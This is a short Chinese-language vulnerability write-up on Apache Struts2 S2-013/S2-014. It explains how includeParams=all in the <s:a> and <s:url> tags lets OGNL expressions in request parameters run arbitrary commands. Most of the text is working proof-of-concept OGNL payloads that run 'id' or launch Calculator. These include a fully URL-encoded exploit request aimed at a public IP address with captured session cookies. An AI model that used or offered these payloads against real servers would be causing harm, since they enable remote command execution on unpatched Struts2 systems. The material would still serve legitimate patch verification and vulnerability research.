影响版本: 2.0.0 – 2.3.14.1

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none – 链接不包含请求的任意参数值(默认)
  2. get – 链接只包含 GET 请求中的参数和其值
  3. all – 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

任意命令执行POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@[email protected](@[email protected]().exec('id').getInputStream())}

如:

http://188.40.189.134:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

大概就这些……

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